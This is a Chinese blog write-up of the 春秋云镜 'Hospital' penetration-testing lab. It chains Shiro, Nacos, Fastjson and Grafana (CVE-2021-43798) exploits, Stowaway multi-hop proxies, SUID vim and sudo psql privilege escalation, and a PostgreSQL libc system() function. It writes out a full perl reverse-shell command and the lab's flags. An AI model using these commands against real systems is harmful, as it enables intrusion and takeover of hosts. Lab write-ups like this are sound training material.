春秋云镜-Hospital

前言

在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个flag,分布于不同的靶机。下面是这个靶场渗透过程的网络代理拓扑图。

image-20250520131428386

稍微对这个图解释一下方便理解:

初始突破:攻陷目标主机1(39.99.227.180)。

搭建隧道:在获取主机1的控制权限后,用 Stowaway在主机1与 公网跳板机(39.107.82.184)之间建立一条隧道。

访问 DMZ 区域:在公网跳板机上开启 6666 端口的 SOCKS5 代理,这个端口通过 Stowaway的隧道将流量转发到主机1。我们可通过跳板机发起 SOCKS5 请求,由主机1继续向其所在的 DMZ 区域横向渗透,访问如主机2、主机3等目标。

构建多级代理链:主机3为双网卡主机,成功攻陷主机3后,在其上部署 Stowaway 的 agent,使其反向连接主机1。主机1接收连接后,代理链得以进一步扩展。

深入内网:此时,我们可在公网跳板机上开启 7777 端口的 SOCKS5 代理,流量将先经主机1,再由主机1中继至主机3,再由主机3继续向内网核心区域发起访问。

完整代理路径建立:通过建立的双层代理路径(公网跳板机 → 主机1 → 主机3),成功实现从公网攻击机到目标内网主机的攻击。

39.99.227.180

一眼shiro

image-20250519172226581

尝试用工具破解链子不行,然后想起fscan中有heapdump

image-20250519152140753

直接打个内存马连接上就行

image-20250519172440279

这边我是使用了pwncat,pwncat确实很方便

1
pwncat -lp 123

image-20250519172659360

提权

当前主机权限比较低,查找可以提权的文件,找到了vim.basic

1
find / -perm -4000 -type f 2>/dev/null

image-20250519172912603

提权方式一

直接使用python新启一个进程来替换vim,因为我是使用pwncat所以我都是直接挂在后台,不然的话会假死

1
/usr/bin/vim.basic  -c ':python3 import os; os.execl("/bin/bash", "bash", "-p","-c","reset; exec bash -p")' &

需要的时候直接调出来,这就有了一个有root的shell,不需要的时候ctrl+z返回去或者ctrl+d返回pwncat

1
fg %1

提权方式二

写自己的账号密码,ssh等等,我这里就是使用openssl生成一个密码

1
2
root@test:~# openssl passwd -1 -salt 123 123456
$1$123$7mft0jKnzzvAdU4t0unTG1

直接使用vim修改passwd文件,就可以使用当前账户登录了

image-20250518215123636

flag在 /root/flag下

image-20250519173110318

1
flag01: flag{8016408b-8efd-48b7-b6e5-dc1b50dcdfa4}

主机发现

pwncat有上传文件的功能,ctrl +d 回到pwncat,直接上传一手fscan

image-20250519173314082

发现还有172.30.12.6和172.30.12.236两个机器

image-20250519173520789

我们直接访问肯定是访问不到的,我这边使用的代理工具是 Stowaway

在公网服务上监听1234端口,密钥为123

1
./linux_x64_admin -l 1234 -s 123

172.30.12.5使用,注意这里还是要挂在后台,不然pwncat就会卡住了

1
./linux_x64_agent -c 39.107.82.184:1234 -s 123 &

然后就可以在服务器上看到有一个节点加入了,开启一个6666端口

image-20250519173846942

随后在我们的攻击机上挂上代理即可

image-20250519174101449

172.30.12.6

nacos也是护网中经常出现的资产了,漏洞还是很多的,这里可以打SnakeYaml,去下载一个 NacosExploitGUI

image-20250519155927950

key也是默认的

image-20250519160407659

直接在这个漏洞环境改 java文件 就好了,添加一个管理员用户

image-20250519155904826

172.30.12.6不出网,这里web01 (172.30.12.5) 的job 1是root,直接通过fg调出来,用python开启一个web服务,这里还是需要加个&挂在后台

1
python3 -m http.server 83 &

image-20250519161615536

rdp连接就行

image-20250519191622521

1
flag02: flag{ee5dac3e-4eac-4d9a-8bff-d3f712b6b959}

172.30.12.236

这台机器登录的时候发现账号密码是json格式,怀疑是fastjson

image-20250519162521190

使用AutoCloseable探测一下版本号

1
2
{
"@type": "java.lang.AutoCloseable"

版本1.2.45,这个版本直接可以用通杀的payload去打

image-20250519162503819

打了半天没成功,想起是不出网的,可以把JNDI注入工具放在web 01,我这里太麻烦的,下载一个burp 插件 用BCEL打内存马

image-20250519163112103

反弹shell到172.30.12.5,注意我这里也还是挂了后台的,所以你可以看到我的后台现在有两个任务,然后我想切换谁就用谁,非常方便

image-20250519180105696

1
flag03: flag{a87370ce-cd37-4f5b-bc30-1b9e805582c1}

主机发现

发现是双网卡主机,还有一个54网段,肯定不能直接访问到,还得挂个代理

image-20250519180256298

web 01(172.30.12.5) 的python启的web还没有断,直接从上面下载fscan和Stowaway

image-20250519180630775

发现了172.30.54.179这台机器,可以使用Stowaway搭建多级代理,使用刚刚的node 0

1
2
3
listen
1
2222

image-20250519181025033

然后在web 03使用下面命令去连接,然后就会在Stowaway服务端看到新的node加入,使用新的节点,开个socks就行,之前的socks也不会断

1
./linux_x64_agent -c 172.30.12.5:2222 -s 123 &

image-20250519180859852

随后在攻击机添加一个代理服务器

image-20250519181100412

172.30.54.12

grafana有弱口令,登录进去发现是PostgreSQL,但弱口令对我们的意义不大,搜索一波发现grafana还有有文件读取漏洞, CVE-2021-43798

image-20250519181430467

确实存在

image-20250519181748570

使用A-D-Team/grafanaExp 对其进行利用,得到了密码

1
postgres:Postgres@123

版本在8.2以前,可以直接调用本地的libc.so 参考这篇文章 https://tttang.com/archive/1547/#toc_udf

image-20250525231536894

修改root密码,主要是为了提权使用

1
ALTER USER root WITH PASSWORD '123456'

image-20250525231707290

调用系统的动态链接库 libc.so.6 来实现命令执行

1
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;

image-20250525231949287

使用perl反弹shell

1
select system('perl -e \'use Socket;$i="172.30.54.179";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

image-20250525232024467

这里可以看到权限很低

image-20250519185938421

用python获取一个交互式的shell

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20250519190059566

提权

使用sudo运行psql,这时候需要我们输入 PostgreSQL数据库中 root的密码,但是没有关系,root的密码我们已经修改过了

1
sudo /usr/local/postgresql/bin/psql

PostgreSQL会把 ! 的命令当成系统命令

1
!/bin/bash

image-20250519190623217

1
flag04: flag{a90adb0f-7d19-4f9f-be3d-0a8207ec0dc0}

春秋云镜-Hospital
https://sp4rks3.github.io/2025/05/19/大师之路/春秋云镜-Hospital/
作者
Sp4rks3
发布于
2025年5月19日
许可协议